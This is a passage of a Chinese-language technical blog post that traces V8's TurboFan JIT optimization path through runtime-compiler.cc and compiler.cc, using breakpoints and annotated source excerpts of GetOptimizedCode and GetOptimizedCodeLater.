!important;">// ----------------------------------------------------------------------------</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">2</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Implementation of OptimizedCompilationJob</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">3</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">4</span>CompilationJob::Status OptimizedCompilationJob::PrepareJob(Isolate* isolate)<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">再向上会发现存在多条调用路径，所以我们在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">OptimizedCompilationJob::PrepareJob</code>下个断点看一下调用栈<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.13127690100430417" title="" data-type="png" data-w="1394" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=73ce9888&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzctiajEIuVjCUnrw6tTkiaeknUqU0RHkHYTuCmuMW5ia50MteZuZ01bHgqQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">上图中能看到的顶层函数是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">v8.dll!v8::internal::Runtime_CompileOptimized_NotConcurrent</code>,大概意思是非并行执行编译优化的运行时函数。调用在类似如下的文件中</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// F:\Research\chrome2\v8\v8\src\runtime\runtime-compiler.cc #21</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">2</span>RUNTIME_FUNCTION(Runtime_CompileLazy) {<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">从文件名大概猜到是JIT代码的文件，顺手搜了下还有那些compiler文件<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.2823061630218688" title="" data-type="png" data-w="503" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=abbb9ea0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcEicPKVia0eOhHVRVOqDguib89kgZBzp0iadaOn5537AHzd5EohicRflsccQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">回到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">runtime-compiler.cc</code>，有如下运行时函数，有上面断点的入口函数<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Runtime_CompileOptimized_NotConcurrent</code></p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span>RUNTIME_FUNCTION(Runtime_CompileLazy) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>RUNTIME_FUNCTION(Runtime_CompileOptimized_Concurrent) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>RUNTIME_FUNCTION(Runtime_CompileOptimized_NotConcurrent) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>RUNTIME_FUNCTION(Runtime_EvictOptimizedCodeSlot) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>RUNTIME_FUNCTION(Runtime_InstantiateAsmJs) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>RUNTIME_FUNCTION(Runtime_NotifyStubFailure) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>RUNTIME_FUNCTION(Runtime_NotifyDeoptimized) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>RUNTIME_FUNCTION(Runtime_CompileForOnStackReplacement) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>RUNTIME_FUNCTION(Runtime_TryInstallOptimizedCode) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>RUNTIME_FUNCTION(Runtime_ResolvePossiblyDirectEval) {<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">关于<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Runtime_CompileOptimized_NotConcurrent</code>和<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Runtime_CompileOptimized_Concurrent</code>笔者都有大概走读一遍，逻辑没有很大的区别。这里挑了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Runtime_CompileOptimized_Concurrent</code>记录一下走读分析</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">1</span>RUNTIME_FUNCTION(Runtime_CompileOptimized_Concurrent) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">2</span>--&gt;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">3</span>     <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!Compiler::CompileOptimized(function, ConcurrencyMode::kConcurrent)) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">4</span>         --&gt;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">5</span>             <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!GetOptimizedCode(function, mode).ToHandle(&amp;code)) {<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">跟入<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">GetOptimizedCode</code></p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span>MaybeHandle&lt;Code&gt; GetOptimizedCode(Handle&lt;JSFunction&gt; function,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>                                   ConcurrencyMode mode,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>                                   BailoutId osr_offset = BailoutId::None(),<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>                                   JavaScriptFrame* osr_frame = <span style="font-size: inherit;line-height: inherit;color: rgb(86, 182, 194);overflow-wrap: inherit !important;word-break: inherit !important;">nullptr</span>) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>  Isolate* isolate = function-&gt;GetIsolate();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>  Handle&lt;SharedFunctionInfo&gt; shared(function-&gt;shared(), isolate);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Make sure we clear the optimization marker on the function so that we</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// don&#39;t try to re-optimize.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (function-&gt;HasOptimizationMarker()) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>    function-&gt;ClearOptimizationMarker();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>  Handle&lt;Code&gt; cached_code;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 尝试从缓存中获取优化过的代码</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (GetCodeFromOptimizedCodeCache(function, osr_offset)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span>          .ToHandle(&amp;cached_code)) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// ....</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span>  }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span>   <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Reset profiler ticks, function is no longer considered hot.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span>   <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 应该是cache中没有优化过的代码，这里准备优化，并将当前function设置为不会在hot</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span>  DCHECK(shared-&gt;is_compiled());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">24</span>  function-&gt;feedback_vector()-&gt;set_profiler_ticks(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>); <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">26</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">/******************************************************************<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">27</span>    * 下面一行代码，实例化job句柄<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">28</span>    * NewCompilationJob最后返回的是<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">29</span>    * return new PipelineCompilationJob(parse_info, shared, function);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">30</span>    ***   这个类继承自CompilationJob，其中比较重要的3个函数如下<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">31</span>    ***   // Prepare the compile job. Must be called on the main thread.<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">32</span>    ***      MUST_USE_RESULT Status PrepareJob();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">33</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">34</span>    ***   // Executes the compile job. Can be called on a background thread if<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">35</span>    ***   // can_execute_on_background_thread() returns true.<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">36</span>    ***      MUST_USE_RESULT Status ExecuteJob();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">37</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">38</span>    ***   // Finalizes the compile job. Must be called on the main thread.<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">39</span>    ***      MUST_USE_RESULT Status FinalizeJob();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">40</span>    * 至此先不做过多跟踪，回到原函数继续分析<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">41</span>    ******************************************************************/</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">42</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">std</span>::<span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">unique_ptr</span>&lt;CompilationJob&gt; job(<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">43</span>        compiler::Pipeline::NewCompilationJob(function, has_script));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">44</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">45</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 继续是如一些条件判断，终止turbofan的编译优化等等</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">46</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// ....</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">47</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">48</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 如下代码中，根据Mode，区分执行GetOptimizedCodeLater 或 GetOptimizedCodeNow</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">49</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// </span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">50</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (mode == ConcurrencyMode::kConcurrent) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">51</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (GetOptimizedCodeLater(job.get())) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">52</span>      job.release();  <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// The background recompile job owns this now.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">53</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">54</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Set the optimization marker and return a code object which checks it.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">55</span>      function-&gt;SetOptimizationMarker(OptimizationMarker::kInOptimizationQueue);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">56</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (function-&gt;IsInterpreted()) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">57</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> BUILTIN_CODE(isolate, InterpreterEntryTrampoline);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">58</span>      } <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">else</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">59</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> BUILTIN_CODE(isolate, CheckOptimizationMarker);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">60</span>      }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">61</span>    }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">62</span>  } <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">else</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">63</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (GetOptimizedCodeNow(job.get())) <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> compilation_info-&gt;code();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">64</span>  }<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">继续跟读<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">GetOptimizedCodeLater</code></p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// F:\Research\chrome2\v8\v8\src\compiler.cc #556</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">bool</span> <span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">GetOptimizedCodeLater</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(CompilationJob* job)</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// ....</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">/******************************************************************<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>      *  下一行代码看到上面提及的PrepareJob()，针对继承CompilationJob的不同子类有不同实现，<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>      *  除了这里的jit实现了一个，还有在解释器interpreter.cc以及wasm编译器中也分别实现了一个，<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>      *  PrepareJob我理解为jit的第一阶段，其中会先根据一些编译选项设置turbo的编译flag，<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>      ** 调用如下代码，设置pipelinedata<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>      ** data_.set_start_source_position(<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>      **        compilation_info()-&gt;shared_info()-&gt;start_position());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>      ** 